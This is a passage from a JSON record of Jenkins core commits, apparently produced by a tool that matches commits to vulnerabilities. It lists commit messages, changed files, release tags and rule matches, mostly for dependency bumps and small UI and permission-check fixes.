}, - { - "commit_id": "9f8d343f057e3f3ea988684b9dab509d64999a20", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706129117, - "hunks": 1, - "message": "Bump org.jenkins-ci.plugins:junit from 1252.vfc2e5efa_294f to 1256.v002534a_5f33e (#8869) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "test/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8869": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8869", - "relevance": 2 - } - ] - }, - { - "commit_id": "7a93bc5c9da4db554531195c37e9dad8415280c0", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1705331625, - "hunks": 4, - "message": "Update dependency mini-css-extract-plugin to v2.7.7 (#8865) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8865": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8865", - "relevance": 2 - } - ] - }, - { - "commit_id": "48661db9d1dad55af5300d3783b2834a7b15c41f", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1705158573, - "hunks": 1, - "message": "[JENKINS-72543] Fix permission check in script console view (#8858) Co-authored-by: Daniel Beck Co-authored-by: Alexander Brandes ", - "changed_files": [ - "core/src/main/resources/lib/hudson/scriptConsole.jelly" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8858": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8858", - "relevance": 2 - } - ] - }, - { - "commit_id": "6f6d99af8426c1c5878a210eb38836c7b41c3363", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1705116995, - "hunks": 1, - "message": "Update dependency lit to v3.1.1 (#8863) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "core/src/site/site.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8863": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8863", - "relevance": 2 - } - ] - }, - { - "commit_id": "d36cf82d91b7a58fa6e1150ad5da90791beed339", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1705114855, - "hunks": 2, - "message": "Rely on parent pom spotbugs configuration (#8855) Rely on spotbugs configuration from parent pom Removes the 81c3249ca0e6bcc69e1caa2e6828ec6c8c0884cd workaround that was added in pull request https://github.com/jenkinsci/jenkins/pull/8803", - "changed_files": [ - "pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8855": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8855", - "relevance": 2 - } - ] - }, - { - "commit_id": "7540c95767604c1d1ae0226bc8f086aa733fa2eb", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1705114829, - "hunks": 11, - "message": "Update dependency css-loader to v6.9.0 (#8862) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8862": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8862", - "relevance": 2 - } - ] - }, - { - "commit_id": "e7e673d691bb0897db211ea4cdf4a22ab0f3f711", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1705114818, - "hunks": 4, - "message": "Update dependency style-loader to v3.3.4 (#8861) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8861": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8861", - "relevance": 2 - } - ] - }, - { - "commit_id": "53f7e40b198aa34b0089a325eca372aa1e216131", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1705114805, - "hunks": 3, - "message": "do not generate td when outside table for buildbutton (#8854) projectView renders a buildButton twice once inside a table for wide screens and once outside a table for narrow or mobile screens with one always hidden. But the buildButton always wraps everything in a `td`. When projectView is now itself wrapped somewhere in a table (was done in dashboard-view plugin) then the brwoser will move the `td` to the outer table and it gets always shown and breaks the UI.", - "changed_files": [ - "core/src/main/resources/hudson/views/BuildButtonColumn/column.jelly", - "core/src/main/resources/lib/hudson/projectView.jelly" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8854": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8854", - "relevance": 2 - } - ] - }, - { - "commit_id": "dd7488bc9062afe514254652ec8e4a29843fb125", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1705090541, - "hunks": 1, - "message": "Increase memory for war assembly (#8856)", - "changed_files": [ - ".mvn/jvm.config" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8856": "Test Linux with JDK 21 #8848 Intermittent out of memory for Java 21 builds of Jenkins core on ci.jenkins.io jenkins-infra/helpdesk#3874" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8856", - "relevance": 2 - } - ] - }, - { - "commit_id": "214f042834a0cd3888037c791cec4783767bd931", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1705056335, - "hunks": 1, - "message": "[JENKINS-66530] Change focus in the 'new item' page only if 'from' has a valid job name (#8807) * JENKINS-66530: setTimeout/focus switch to 'name' only if field 'from' points to a valid job name * yarn prettier for add-item.js", - "changed_files": [ - "war/src/main/js/add-item.js" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8807": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8807", - "relevance": 2 - } - ] - }, - { - "commit_id": "7ed8c33d04c732c623fc0309db10442c7f2a83f1", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1705056094, - "hunks": 9, - "message": "Update dependency @babel/preset-env to v7.23.8 (#8859) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8859": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8859", - "relevance": 2 - } - ] - }, - { - "commit_id": "5da5ac7e62568908fa29ff8265c696cc6e4c7032", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1704829475, - "hunks": 1, - "message": "Bump SLF4J from 2.0.10 to 2.0.11 (#8846) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "bom/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8846": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8846", - "relevance": 2 - } - ] - }, - { - "commit_id": "9865a3580b82f465280a83c777400c3ec3c060a6", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1704829372, - "hunks": 1, - "message": "Bump org.jenkins-ci.main:remoting from 3203.v94ce994fdb_31 to 3206.vb_15dcf73f6a_9 (#8847) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8847": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8847", - "relevance": 2 - } - ] - }, - { - "commit_id": "004e72746a2732be97263c9a6099bc870f3dbe6c", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1704791091, - "hunks": 4, - "message": "Update dependency postcss to v8.4.33 (#8841) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8841": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8841", - "relevance": 2 - } - ] - }, - { - "commit_id": "1eb29a879216fa7418724d08d5e9ed212ecd0709", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1704739530, - "hunks": 1, - "message": "Bump org.jenkins-ci.main:remoting from 3198.v03a_401881f3e to 3203.v94ce994fdb_31 (#8836) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8836": "Improve remoting documentation jenkins-infra/jenkins.io#6994" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8836", - "relevance": 2 - } - ] - }, - { - "commit_id": "50bc384abde662cf395dc6580f94c7e85303377e", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1704706933, - "hunks": 24, - "message": "Fill in since todo (#8839)", - "changed_files": [ - "core/src/main/java/hudson/ExtensionList.java", - "core/src/main/java/hudson/Functions.java", - "core/src/main/java/hudson/model/BuildTimelineWidget.java", - "core/src/main/java/hudson/model/View.java", - "core/src/main/java/hudson/node_monitors/AbstractNodeMonitorDescriptor.java", - "core/src/main/java/hudson/node_monitors/DiskSpaceMonitorDescriptor.java", - "core/src/main/java/hudson/node_monitors/DiskSpaceMonitorNodeProperty.java", - "core/src/main/java/jenkins/console/ConsoleUrlProvider.java", - "core/src/main/java/jenkins/console/ConsoleUrlProviderGlobalConfiguration.java", - "core/src/main/java/jenkins/console/ConsoleUrlProviderUserProperty.java", - "core/src/main/java/jenkins/console/DefaultConsoleUrlProvider.java", - "core/src/main/java/jenkins/model/Loadable.java", - "core/src/main/java/jenkins/model/PeepholePermalink.java", - "core/src/main/java/jenkins/security/FIPS140.java", - "core/src/main/java/jenkins/util/DefaultScriptListener.java", - "core/src/main/java/jenkins/util/ScriptListener.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8839": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8839", - "relevance": 2 - } - ] - }, - { - "commit_id": "29f3853cb50f4df58f9dcd9af0911a1c621db217", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1704706851, - "hunks": 4, - "message": "Update dependency sass to v1.69.7 (#8835) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Mark Waite ", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8835": "" - }, - 